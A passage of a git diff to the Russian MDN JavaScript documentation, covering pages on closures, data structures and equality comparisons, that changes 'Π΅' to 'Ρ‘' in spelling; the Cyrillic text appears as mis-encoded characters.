Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… счётчиков Π²ΠΎΡ‚ Ρ‚Π°ΠΊ:</p>
<pre class="brush: js notranslate">var makeCounter = function() {
var privateCounter = 0;
@@ -198,7 +198,7 @@ alert(Counter1.value()); /* Alerts 1 */
alert(Counter2.value()); /* Alerts 0 */
</pre>
-<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ счСтчики Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ нСзависимо Π΄Ρ€ΡƒΠ³ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³Π°. Π­Ρ‚ΠΎ происходит ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Ρƒ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ·Β Π½ΠΈΡ… Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ создания Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ <code><span style="font-family: consolas,monaco,andale mono,monospace;">makeCounter()</span></code>Β Ρ‚Π°ΠΊΠΆΠ΅ создавался свой ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ контСкст исполнСния (ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅). Π’ΠΎ Π΅ΡΡ‚ΡŒ приватная пСрСмСнная <code>privateCounterΒ </code>Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΈΠ· счСтчиков это Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Π°Ρ, ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½Π°Ρ пСрСмСнная.</p>
+<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ счётчики Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ нСзависимо Π΄Ρ€ΡƒΠ³ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³Π°. Π­Ρ‚ΠΎ происходит ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Ρƒ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ·Β Π½ΠΈΡ… Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ создания Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ <code><span style="font-family: consolas,monaco,andale mono,monospace;">makeCounter()</span></code>Β Ρ‚Π°ΠΊΠΆΠ΅ создавался свой ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ контСкст исполнСния (ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅). Π’ΠΎ Π΅ΡΡ‚ΡŒ приватная пСрСмСнная <code>privateCounterΒ </code>Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΈΠ· счётчиков это Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Π°Ρ, ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½Π°Ρ пСрСмСнная.</p>
<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ Π·Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΡ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ ряд прСимущСств, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ассоциируСмых с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ изоляция и инкапсуляция.</p>
@@ -236,11 +236,11 @@ setupHelp();
<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/13026/", "", 200)}}</p>
-<p>Массив <code>helpText</code> описываСт Ρ‚Ρ€ΠΈ подсказки для Ρ‚Ρ€Π΅Ρ… ΠΏΠΎΠ»Π΅ΠΉ Π²Π²ΠΎΠ΄Π°. Π¦ΠΈΠΊΠ» ΠΏΡ€ΠΎΠ±Π΅Π³Π°Π΅Ρ‚ эти описания ΠΏΠΎ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΠΈ ΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· ΠΏΠΎΠ»Π΅ΠΉ Π²Π²ΠΎΠ΄Π° опрСдСляСт, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ события <code>onfocus</code> для этого элСмСнта Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ функция, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ подсказку.</p>
+<p>Массив <code>helpText</code> описываСт Ρ‚Ρ€ΠΈ подсказки для Ρ‚Ρ€Ρ‘Ρ… ΠΏΠΎΠ»Π΅ΠΉ Π²Π²ΠΎΠ΄Π°. Π¦ΠΈΠΊΠ» ΠΏΡ€ΠΎΠ±Π΅Π³Π°Π΅Ρ‚ эти описания ΠΏΠΎ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΠΈ ΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· ΠΏΠΎΠ»Π΅ΠΉ Π²Π²ΠΎΠ΄Π° опрСдСляСт, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ события <code>onfocus</code> для этого элСмСнта Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ функция, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ подсказку.</p>
<p>Если Π²Ρ‹ запуститС этот ΠΊΠΎΠ΄, Ρ‚ΠΎ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π΅ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌ ΠΈΠ½Ρ‚ΡƒΠΈΡ‚ΠΈΠ²Π½ΠΎ. КакоС ΠΏΠΎΠ»Π΅ Π²Ρ‹ Π±Ρ‹ Π½ΠΈΒ Π²Ρ‹Π±Ρ€Π°Π»ΠΈ, Π² качСствС подсказки всСгда Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΡΠ²Π΅Ρ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ сообщСниС ΠΎ возрастС.Β </p>
-<p>ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, присвоСнныС ΠΊΠ°ΠΊ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ события <code>onfocus</code>, ΡΠ²Π»ΡΡŽΡ‚ΡΡ замыканиями. Они состоят ΠΈΠ· описания Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ контСкста исполнСния (окруТСния), унаслСдованного ΠΎΡ‚Β  Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>setupHelp</code>. Π‘Ρ‹Π»ΠΎ создано Ρ‚Ρ€ΠΈ замыкания, Π½ΠΎ всС ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ созданы с ΠΎΠ΄Π½ΠΈΠΌ ΠΈ Ρ‚Π΅ΠΌ ΠΆΠ΅ контСкстом исполнСния. К ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρƒ возникновСния события <code>onfocus</code> Ρ†ΠΈΠΊΠ» ΡƒΠΆΠ΅ Π΄Π°Π²Π½ΠΎ ΠΎΡ‚Ρ€Π°Π±ΠΎΡ‚Π°Π», Π° Π·Π½Π°Ρ‡ΠΈΡ‚, пСрСмСнная <code>item</code> (ΠΎΠ΄Π½Π° ΠΈ Ρ‚Π° ΠΆΠ΅ для всСх Ρ‚Ρ€Π΅Ρ… Π·Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΠΉ) ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° послСдний элСмСнт массива, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΊΠ°ΠΊ Ρ€Π°Π· Π² ΠΏΠΎΠ»Π΅ возраста.</p>
+<p>ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, присвоСнныС ΠΊΠ°ΠΊ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ события <code>onfocus</code>, ΡΠ²Π»ΡΡŽΡ‚ΡΡ замыканиями. Они состоят ΠΈΠ· описания Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ контСкста исполнСния (окруТСния), унаслСдованного ΠΎΡ‚Β  Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>setupHelp</code>. Π‘Ρ‹Π»ΠΎ создано Ρ‚Ρ€ΠΈ замыкания, Π½ΠΎ всС ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ созданы с ΠΎΠ΄Π½ΠΈΠΌ ΠΈ Ρ‚Π΅ΠΌ ΠΆΠ΅ контСкстом исполнСния. К ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρƒ возникновСния события <code>onfocus</code> Ρ†ΠΈΠΊΠ» ΡƒΠΆΠ΅ Π΄Π°Π²Π½ΠΎ ΠΎΡ‚Ρ€Π°Π±ΠΎΡ‚Π°Π», Π° Π·Π½Π°Ρ‡ΠΈΡ‚, пСрСмСнная <code>item</code> (ΠΎΠ΄Π½Π° ΠΈ Ρ‚Π° ΠΆΠ΅ для всСх Ρ‚Ρ€Ρ‘Ρ… Π·Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΠΉ) ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° послСдний элСмСнт массива, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΊΠ°ΠΊ Ρ€Π°Π· Π² ΠΏΠΎΠ»Π΅ возраста.</p>
<p>Π’ качСствС Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Π² этом случаС ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ΡŒ использованиС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ„Π°Π±Ρ€ΠΈΡ‡Π½ΠΎΠΉΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ (function factory), ΠΊΠ°ΠΊ ΡƒΠΆΠ΅ Π±Ρ‹Π»ΠΎ описано Π²Ρ‹ΡˆΠ΅ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ…:</p>
@@ -272,7 +272,7 @@ setupHelp();
<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/13024/", "", 200)}}</p>
-<p>Π’ΠΎΡ‚ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠ°ΠΊ слСдуСт. ВмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π° всСх ΠΎΠ΄Π½ΠΎ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅, функция <code>makeHelpCallback</code> создаСт ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΈΠ· Π·Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΠΉ своС собствСнноС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ пСрСмСнная <code>item</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ элСмСнт массива <code>helpText</code>.</p>
+<p>Π’ΠΎΡ‚ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠ°ΠΊ слСдуСт. ВмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π° всСх ΠΎΠ΄Π½ΠΎ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅, функция <code>makeHelpCallback</code> создаёт ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΈΠ· Π·Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΠΉ своё собствСнноС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ пСрСмСнная <code>item</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ элСмСнт массива <code>helpText</code>.</p>
<h2 id="БообраТСния_ΠΏΠΎ_ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ">БообраТСния ΠΏΠΎ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ</h2>
@@ -295,7 +295,7 @@ setupHelp();
}
</pre>
-<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π½ΠΈΠΊΠ°ΠΊ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ прСимущСства Π·Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΠΉ, Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡΠ°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π½ΠΈΠΊΠ°ΠΊ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ прСимущСства Π·Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΠΉ, Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡΠ°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="brush: js notranslate">function MyObject(name, message) {
this.name = name.toString();
diff --git a/files/ru/web/javascript/data_structures/index.html b/files/ru/web/javascript/data_structures/index.html
index e02cffe0f7..7941ee07b1 100644
--- a/files/ru/web/javascript/data_structures/index.html
+++ b/files/ru/web/javascript/data_structures/index.html
@@ -27,7 +27,7 @@ foo = true; // foo становится Ρ‚ΠΈΠΏΠ° Boolean
<ul>
<li>6 Ρ‚ΠΈΠΏΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ… ΡΠ²Π»ΡΡŽΡ‰ΠΈΡ…ΡΡΒ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π°ΠΌΠΈ:
<ul>
- <li>{{Glossary("Undefined")}} (НСопрСдСлСнный Ρ‚ΠΈΠΏ)Β Β :Β <code>typeof instance === "undefined"</code></li>
+ <li>{{Glossary("Undefined")}} (НСопрСдСлённый Ρ‚ΠΈΠΏ)Β Β :Β <code>typeof instance === "undefined"</code></li>
<li>{{Glossary("Boolean")}} (Π‘ΡƒΠ»Π΅Π², ЛогичСский Ρ‚ΠΈΠΏ)Β :Β <code>typeof instance === "boolean"</code></li>
<li>{{Glossary("Number")}} (Число) : <code>typeof instance === "number"</code></li>
<li>{{Glossary("String")}} (Π‘Ρ‚Ρ€ΠΎΠΊΠ°)Β :Β <code>typeof instance === "string"</code></li>
@@ -84,7 +84,7 @@ Infinity
<li>ΠžΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ Π΄Π²Π΅ строки Π²Β ΠΎΠ΄Π½Ρƒ, ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠ² ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β (<code>+</code>) ΠΈΠ»ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{jsxref("String.concat()")}}.</li>
</ul>
-<h4 id="Π˜Π·Π±Π΅Π³Π°ΠΉΡ‚Π΅_повсСмСстного_использования_строк_Π²_своСм_ΠΊΠΎΠ΄Π΅!">Π˜Π·Π±Π΅Π³Π°ΠΉΡ‚Π΅ повсСмСстного использования строк в своСм ΠΊΠΎΠ΄Π΅!</h4>
+<h4 id="Π˜Π·Π±Π΅Π³Π°ΠΉΡ‚Π΅_повсСмСстного_использования_строк_Π²_своём_ΠΊΠΎΠ΄Π΅!">Π˜Π·Π±Π΅Π³Π°ΠΉΡ‚Π΅ повсСмСстного использования строк в своём ΠΊΠΎΠ΄Π΅!</h4>
<p>Иногда ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ ΡΠΎΠ±Π»Π°Π·Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ использованиС строк для прСдставлСния слоТных структур Π΄Π°Π½Π½Ρ‹Ρ…. Π­Ρ‚ΠΎ даст нСбольшиС краткосрочныС Π²Ρ‹Π³ΠΎΠ΄Ρ‹:</p>
@@ -104,7 +104,7 @@ Infinity
<h3 id="Π’ΠΈΠΏ_Π΄Π°Π½Π½Ρ‹Ρ…_Π‘ΠΎΠ»ΡŒΡˆΠΎΠ΅_Ρ†Π΅Π»ΠΎΠ΅_BigInt">Π’ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ… Π‘ΠΎΠ»ΡŒΡˆΠΎΠ΅ Ρ†Π΅Π»ΠΎΠ΅ (BigInt)</h3>
-<p><code>BigInt</code><font><font> являСтся встроСнным ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт способ прСдставлСния Ρ†Π΅Π»Ρ‹Ρ… чисСл, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ большС 2Β </font></font><sup><font><font>53</font></font></sup><font><font>, Ρ‡Ρ‚ΠΎ являСтся наибольшим числом, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°Π΄Π΅ΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ </font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="JavaScript-ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Number - это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚-ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠ°, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с числовыми значСниями. ΠžΠ±ΡŠΠ΅ΠΊΡ‚ Number создаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ конструктора Number (). НомСр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‚ΠΈΠΏΠ° ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π° создаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Number ().">Number</a></code><font><font>Β ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π°.</font></font></p>
+<p><code>BigInt</code><font><font> являСтся встроСнным ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт способ прСдставлСния Ρ†Π΅Π»Ρ‹Ρ… чисСл, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ большС 2Β </font></font><sup><font><font>53</font></font></sup><font><font>, Ρ‡Ρ‚ΠΎ являСтся наибольшим числом, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ </font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="JavaScript-ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Number - это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚-ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠ°, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с числовыми значСниями. ΠžΠ±ΡŠΠ΅ΠΊΡ‚ Number создаётся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ конструктора Number (). НомСр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‚ΠΈΠΏΠ° ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π° создаётся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Number ().">Number</a></code><font><font>Β ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π°.</font></font></p>
<pre class="brush: js notranslate"><code>&gt; let bigInt = 19241924124n;
&gt; console.log(bigInt);
@@ -120,7 +120,7 @@ Infinity
<p>Π’ JavaScript ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°ΡΡ†Π΅Π½ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ Π½Π°Π±ΠΎΡ€ свойств. <a href="/ru/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Object_literals">Π›ΠΈΡ‚Π΅Ρ€Π°Π»ΡŒΠ½Π°Ρ инициализация ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°</a> Π·Π°Π΄Π°Ρ‘Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ количСство Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Ρ… свойств, и в процСссС Ρ€Π°Π±ΠΎΡ‚Ρ‹ прилоТСния поля ΠΌΠΎΠ³ΡƒΡ‚ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒΡΡ ΠΈΒ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒΡΡ. ЗначСния свойств ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ любой Ρ‚ΠΈΠΏ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, Ρ‡Ρ‚ΠΎ позволяСт ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ слоТныС, Ρ€Π°Π·Π²Π΅Ρ‚Π²Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ Π΄Π°Π½Π½Ρ‹Ρ…. КаТдоС свойство ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° идСнтифицируСтся ΠΊΠ»ΡŽΡ‡ΠΎΠΌ, в качСствС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΡΡ‚ΡƒΠΏΠ°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ с типом Π‘Ρ‚Ρ€ΠΎΠΊΠ° ΠΈΠ»ΠΈ Π‘ΠΈΠΌΠ²ΠΎΠ».</p>
-<p>Π•ΡΡ‚ΡŒ Π΄Π²Π° Ρ‚ΠΈΠΏΠ° свойств: свойство-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ свойство-акцСссор (свойство, ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠ΅ Π²Β Π³Π΅Ρ‚Ρ‚Π΅Ρ€ и сСттСр). Они ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈ.</p>
+<p>Π•ΡΡ‚ΡŒ Π΄Π²Π° Ρ‚ΠΈΠΏΠ° свойств: свойство-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ свойство-акцСссор (свойство, ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠ΅ Π²Β Π³Π΅Ρ‚Ρ‚Π΅Ρ€ и сСттСр). Они ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈ.</p>
<h4 id="Бвойство-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Бвойство-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h4>
diff --git a/files/ru/web/javascript/equality_comparisons_and_sameness/index.html b/files/ru/web/javascript/equality_comparisons_and_sameness/index.html
index 99baf1e830..c4e2e48cd5 100644
--- a/files/ru/web/javascript/equality_comparisons_and_sameness/index.html
+++ b/files/ru/web/javascript/equality_comparisons_and_sameness/index.html
@@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Equality_comparisons_and_sameness
<p>Π’Ρ‹Π±ΠΎΡ€ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° зависит ΠΎΡ‚ Ρ‚ΠΈΠΏΠ° сравнСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ произвСсти.</p>
</div>
